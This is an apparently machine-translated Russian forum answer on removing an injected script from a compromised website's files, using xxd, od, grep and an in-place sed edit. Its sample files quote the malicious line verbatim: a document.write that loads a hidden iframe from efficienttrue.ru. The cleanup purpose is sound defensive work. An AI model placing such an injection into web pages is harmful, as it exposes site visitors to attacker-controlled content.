Разархивируйте все несуществующие или более старые файлы из архива

Да, резервное копирование лучше. Однако, если Вы настаиваете на замене и хотите избежать давки с Escape, вот универсальное решение.

1. Сохраните незаконную строку в файл и проверьте, что никакие дополнительные символы как префикс BOM UTF или окончания строки не были добавлены

   xxd spec-chars.sample
   

2. Преобразуйте строку в завершенную последовательность байта

   od -t x1 -v -A n spec-chars.sample | sed s/\ /\\\\x/g | tr -d \\n && echo
   

3. Создайте пару тестовых сценариев

   cat spec-chars-positive 
     asdfasdfsd
     ;document.write('<iframe src="http://efficienttrue.ru/upwherehandpainted.cgi?8" scrolling="auto" frameborder="no" align="center" height="13" width="13"></iframe>');
   
   cat spec-chars-negative
     asdfasdfsd
     ;document.write('<iframe src="http://efficienttrue.ru/upwherehandpainted.cgi?8" scrolling="auto" frameborder="no" align="center" height="13" width="13"></iframe>');
     qwer
   

4. Проверьте, что код работает как ожидалось

   grep -l efficienttrue spec-chars-* | xargs sed \$s/`od -t x1 -v -A n spec-chars.sample | sed s/\ /\\\\x/g | tr -d \\n`//
   

5. Выполните фактическую замену

   grep -rl efficienttrue.ru . | xargs sed -ibak --follow-symlinks \$s/`od -t x1 -v -A n spec-chars.sample | sed s/\ /\\\\x/g | tr -d \\n`//